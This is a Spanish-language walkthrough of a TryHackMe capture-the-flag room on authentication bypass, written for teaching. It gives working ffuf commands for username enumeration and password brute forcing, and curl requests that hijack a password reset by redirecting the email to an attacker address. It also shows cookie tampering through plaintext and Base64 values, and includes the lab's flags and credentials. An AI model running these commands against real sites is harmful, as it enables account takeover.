En esta habitación vamos a aprender diferentes formas básicas de saltarnos mecanismos de autenticación e identificación de usuarios, a fin de vencerlos y atravesar la barrera que suponen.

Enumeración de usuarios

Un ejercicio útil cuando tratemos de encontrar vulnerabilidades de autenticación es crear una lista de nombres de usuario válidos, que usaremos después en otras tareas.

Los mensajes de error de las webs son grandes recursos para cotejar esta información a fin de construir esa lista de usuarios válidos.

Por ejemplo, en la web usada para practicar esta habitación, hay un formulario para crear nuevas cuentas de usuario, dentro de la sección de soporte.

En esa página, introducimos el nombre de usuario admin y rellenamos los otros campos con la información que se nos ocurra. Obtendremos un error de que esta cuenta ya existe.

La herramienta Ffuf

Podemos usar la existencia de este error para producir una lista de nombres de usuario válidos que ya están en el sistema, usando la herramienta Ffuf.

FFuf utiliza una lista de nombres de usuario comunes y los chequea contra el sistema buscando coincidencias.

Analicemos la instrucción a la hora de ejecutar FFuf y qué significa:

ffuf -w /usr/share/wordlists/SecLists/Usernames/Names/names.txt -X POST -d "username=FUZZ&email=x&password=x&cpassword=x" -H "Content-Type: application/x-www-form-urlencoded" -u http://MACHINE_IP/customers/signup -mr "username already exists"
  • El argumento -w selecciona la localización de la lista de usuarios que vamos a chequear para ver si existen.
  • -X especifica el método de la petición, normalmente es GET por defecto, pero en este caso es POST porque mandamos datos al servidor, no los pedimos.
  • -d especifica qué datos vamos a enviar. En el ejemplo, los campos de nombre de username, email, password y cpassword.

Una pausa, porque la explicación de la página pasa por encima de este argumento. ¿Cómo sabemos qué argumentos mandar y poner ahí?

Depende del formulario que estemos viendo, en concreto, este:

Formulario que atacamos con FFuf

Para ver los nombres concretos de los campos hemos de ver el código fuente de la página. Si lo observamos, nos chiva el nombre (name) de cada campo que tenemos que usar para este ataque de fuzzing.

Nombres de campos del formulario

El valor de usuario lo ponemos a «FUZZ». En FFuf, esa palabra clave «FUZZ» le dice a la aplicación dónde insertar la lista de nombres de usuario. Para los demás campos ponemos valor=x.

  • -H se usa para añadir encabezados adicionales a la petición. En este caso, estamos configurando el Content-Type para que el servidor sepa que le estamos enviando datos de formulario.

De nuevo una pequeña aclaración. En HTTP hay dos formas de enviar datos con POST:

  • application/x-www-form-urlencoded
  • multipart/form-data

Resumiendo muy mucho, si tenemos que enviar datos binarios (no alfanuméricos) o transmitir un payload muy grande, usamos multipart/form-data. Si no, como es el caso aquí y muchas veces, se usa la forma application/x-www-form-urlencoded.

  • -u especifica la URL a la que le hacemos la petición.
  • -mr es el texto en la página que estamos buscando validar cuando encontramos un nombre de usuario válido.

En este caso, hemos hecho el primer intento fallido para ver qué respuesta nos da el servidor.

En ese fallo aparecía: «username already exists». Eso es lo pasamos a -mr a fin de que sepa que un nombre de usuario de la lista ha sido un fracaso y no nos sirve.

Usamos la herramienta para atacar el servidor y responder a las preguntas:

¿Cuál es el nombre de usuario válido que empieza por si…?

Como no estoy trabajando con un Kali y no he conectado la máquina de ataque de Tryhackme, no tengo la lista de nombres de usuario preinstalada en la máquina, así que la descargo de aquí y la guardo en el directorio Descargas.

Tampoco tengo FFuf, así que me descargo la última versión.

Tras eso, ya estoy en disposición de atacar. Entro al directorio en el que he descomprimido la versión de Ffuf y ejecuto.

./ffuf -w ~/Descargas/names.txt -X POST -d "username=FUZZ&email=x&password=x&cpassword=x" -H "Content-Type: application/x-www-form-urlencoded" -u http://IP_Objetivo/customers/signup -mr "username already exists"

Poco a poco nos saca resultados y el primero es…

simon

¿Qué nombre de usuario empieza por st…?

steve

¿Qué nombre de usuario empieza por ro…?

robert

Fuerza bruta

Usando los nombres de usuario que hemos obtenido y poniéndolos en un archivo valid_usernames.txt podemos intentar un ataque de fuerza bruta en la página de autenticación que hay en la web.

Para eso, vamos a seguir usando la misma herramienta, FFuf.

El comando cambia algo, así que vamos a examinarlo como antes.

ffuf -w valid_usernames.txt:W1,/usr/share/wordlists/SecLists/Passwords/Common-Credentials/10-million-password-list-top-100.txt:W2 -X POST -d "username=W1&password=W2" -H "Content-Type: application/x-www-form-urlencoded" -u http://MACHINE_IP/customers/login -fc 200

Antes hemos usado la palabra clave FUZZ para seleccionar dónde insertar la lista de palabras dentro de la petición. Pero aquí estamos usando más de una lista, la de nombres y la de contraseñas.

Por eso, tenemos que usar nuestra propia palabra clave FUZZ. En el ejemplo hemos usado W1 para los nombres de usuario válidos y W3 para la lista de contraseñas que vamos a utilizar.

Las listas múltiples se especifican de nuevo con el argumento -w, pero separados por una coma.

Si miramos arriba en la expresión, tenemos:

  • valid_usernames.txt:W1 para la lista de nombres de usuario que hemos sacado antes.
  • 10-million-password-list-top-100.txt:W2 para la lista de contraseñas que usaremos.

Para detectar positivos, usamos el argumento -fc para que chequee un código de status diferente a 200.

Si ejecutamos el comando de arriba (tras examinar el formulario de autenticación para ver campos, etc como antes) encontraremos un único combo de usuario/contraseña que responde a la pregunta de abajo.

¿Cuál es ese combo válido?

steve/thunder

Debilidad o fallo lógico

A veces, los procesos de autenticación contienen una debilidad lógica. Esta se da cuando cuando la típica ruta lógica de una aplicación es puenteada, rodeada o manipulada por un atacante.

La debilidad lógica puede existir en cualquier parte de una web, pero nos vamos a concentrar en ejemplos relacionados con la autenticación de esta instancia.

Debilidad lógica

Ejemplo de debilidad o fallo lógico

El código falso de abajo chequea si el principio de la ruta del cliente comienza con /admin, en cuyo caso, se chequea si el cliente es, en efecto, un administrador.

Si la página no comienza con /admin, la página es mostrada al cliente.

if( url.substr(0,6) === '/admin') {
    # Code to check user is an admin
} else {
    # View Page
}

Como el código PHP de arriba usa === está buscando una coincidencia exacta en la cadena, incluyendo mayúsculas y minúsculas.

Este código presenta una debilidad lógica porque un usuario autenticado que pida la página /adMin no tendrá sus privilegios chequeados y se le mostrará la página (la página admin, entiendo), saltándose los chequeos de autenticación.

Debilidad lógica en la práctica

Vamos a examinar la función de Reset Password dentro del sitio web ficticio que estamos usando en esta habitación. En esa página, veremos un formulario que nos pregunta por el email asociado a la cuenta para la que queremos recuperar la contraseña.

Para esta demostración, vamos a usar la dirección ficticia robert@acmeitsupport.thm, que será aceptada por el sistema.

En ese caso, se nos presenta la siguiente fase del formulario, que nos pregunta por un nombre de usuario asociado al email.

Si introducimos rober y pulsamos el botón «Check Username», nos presentará un mensaje de confirmación de que el email de recuperación se ha enviado al correo que hemos puesto.

Debilidad lógica

En este punto, te estarás preguntando cuál es la vulnerabilidad, ya que debes conocer nombre de usuario, email y, de todos modos, la recuperación es enviada a ese correo.

Bien, este tutorial precisa que ejecutemos dos peticiones Curl en la máquina de ataque.

En el segundo paso del proceso de recuperación de la contraseña, el nombre de usuario es enviado en un campo POST al servidor y la dirección de email es enviada en la como un campo GET en la petición de cadena.

Ilustremos cómo podemos usar Curl para realizar, manualmente, la petición al servidor.

Petición 1 con Curl

curl 'http://IP_Objetivo/customers/reset?email=robert%40acmeitsupport.thm' -H 'Content-Type: application/x-www-form-urlencoded' -d 'username=robert'
  • -H lo usamos para añadir un encabezado adicional a la petición. Estamos configurando el tipo de contenido a application/x-www-form-urlencoded, que hace saber al servidor que estamos enviado datos de una manera que se entienda correctamente.
  • -d es data, los datos que enviamos en la petición.

En la aplicación, la cuenta de usuario se recupera usando la petición de cadena, pero después, en la lógica de la aplicación, el email de recuperación se envía usando los datos encontrados en la variable PHP `$_REQUEST.

Dicha variable es un array que contiene datos recibidos desde la cadena de petición y los datos POST.

Si el mismo nombre clave se usa para esa cadena de petición y los datos POST, la lógica de la aplicación para esta variable favorece a la segunda, de manera que si añadimos otro parámetro al formulario POST, podemos controlar dónde se envía el email de recuperación de contraseña.

Petición 2 con Curl

curl 'http://IP_Ataque/customers/reset?email=robert%40acmeitsupport.thm' -H 'Content-Type: application/x-www-form-urlencoded' -d 'username=robert&email=attacker@hacker.com'

Debilidad lógica

Para el siguiente paso necesitamos crear una cuenta en la web. Hacerlo nos da una dirección única de email que puede ser usada para crear tickets de soporte.

La dirección de email tiene el formato: username@customer.acmeitsupport.thm-

Volviendo a ejecutar la segunda petición Curl, pero con tu @acmeitsupport.thm en el campo de email, tendrás un ticket creado en tu cuenta que contiene un enlace para identificarte como Robert. Puedes ver sus tickets de soporte y revelar una bandera.

curl 'http://IP_Objetivo/customers/reset?email=robert@acmeitsupport.thm' -H 'Content-Type: application/x-www-form-urlencoded' -d 'username=robert&email={username}@customer.acmeitsupport.thm'

Creo una cuenta con usuario pepe y ejecuto como me ha dicho:

curl 'http://IP_Objetivo/customers/reset?email=robert@acmeitsupport.thm' -H 'Content-Type: application/x-www-form-urlencoded' -d 'username=robert&email=pepe@customer.acmeitsupport.thm'

Nos vamos y tenemos un ticket, pegamos la dirección de recuperación y tenemos otro ticket con la bandera.

THM{AUTH_BYPASS_COMPLETE}

Ticket con bandera

Examinar y editar las cookies que nos pone el servidor durante nuestra sesión online puede dar lugar a varios escenarios.

Acceso sin autenticación, a otra cuenta o privilegios elevados son algunos. Si necesitamos refrescar, está la tarea 6 de la habitación de Tryhackme HTTP en detalle.

Texto plano

Los contenidos de algunas cookies pueden estar en texto plano y es obvio lo que hacen.

Por ejemplo, imaginemos que estas son las cookies que nos ponen después de una identificación con éxito.

Set-Cookie: logged_in=true; Max-Age=3600; Path=/
Set-Cookie: admin=false; Max-Age=3600; Path=/

Vemos una cookie (logged_in) que parece controlar si el usuario está autenticado o no, mientras que la otra (admin), controla si el usuario tiene privilegios de administración.

Usando esta lógica, si fuéramos a cambiar los contenidos de las cookies y hacer una petición, seríamos capaces de cambiar nuestros privilegios.

Primero, comencemos por pedir la página objetivo.

http://IP_Objetivo/cookie-test

Nos devuelve una respuesta «Not logged in».

Así que ahora vamos a enviar otra petición con la cookie logged_in configurar a true y la cookie admin configurada a false.

curl -H "Cookie: logged_in=true; admin=false" http://MACHINE_IP/cookie-test

Con eso, el mensaje cambia a: «Logged In As A User».

Finalmente enviamos una petición con las dos cookies configuradas a valor true.

curl -H "Cookie: logged_in=true; admin=true" http://MACHINE_IP/cookie-test

Nos da una respuesta «Logged In As An Admin» y una bandera que usaremos en la primera pregunta.

Hashing

A veces, los valores de la cookie parecen una larga cadena de caracteres aleatorios. Son los llamados hashes, que son una presentación irreversible del texto original. Aquí hay algunos ejemplos que nos encontraremos.

Cadena original Método Hash Resultado-salida
1 md5 c4ca4238a0b923820dcc509a6f75849b
1 sha-256 6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
1 sha-512 4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a
1 sha1 356a192b7913b04c54574d18c28d46e6395428ab

Puedes ver en la table de arriba que el mismo input puede ser significativamente diferente dependiendo del método de hash. Aunque este sea irreversible, produce el mismo resultado siempre, lo que es útil para servicios como Crack Station que mantiene bases de datos de millones de hashes y sus cadenas originales.

Codificación

La codificación es similar al hashing en el sentido de que crea lo que parece una cadena de texto aleatorio, pero en este caso, la codificación es reversible.

Si es así, ¿por qué codificar? Porque permite convertir datos binarios a texto legible que puede ser transmitido de manera fácil y segura a través de medios que solo soportan caracteres ASCII y texto plano.

Codificaciones comunes son Base32 que convierte datos binarios a caracteres A-Z y 2-7, así como Base64, que convierte los caracteres a-z, A-Z, 0-9, +, / y el signo = para rellenar.

Por ejemplo, esto podría ponernos el servidor como cookie al autenticarnos:

Set-Cookie: session=eyJpZCI6MSwiYWRtaW4iOmZhbHNlfQ==; Max-Age=3600; Path=/

Esta cadena, decodificada en Base64 tiene el valor {“id”:1,“admin”: false}, que podemos codificar de nuevo, pero cambiando el valor de admin a true, lo que nos daría acceso de administrador.

Vamos con las preguntas:

¿Cuál es la bandera de texto plano que sale de cambiar el valor de la cookie que hemos visto antes?

THM{COOKIE_TAMPERING}

¿Cuál es el valor del hash MD5 3b2a1053e3270077456a79192070aa78? (En crackstation de puede descifrar)

463729

¿Cuál es el valor decodificado en Base64 de VEhNe0JBU0U2NF9FTkNPRElOR30=?

echo "VEhNe0JBU0U2NF9FTkNPRElOR30=" | base64 -d

THM{BASE64_ENCODING}

Codifica el siguiente valor en Base64 {“id”:1,“admin”:true}

echo '{"id":1,"admin":true}' | Base64

eyJpZCI6MSwiYWRtaW4iOnRydWV9Cg==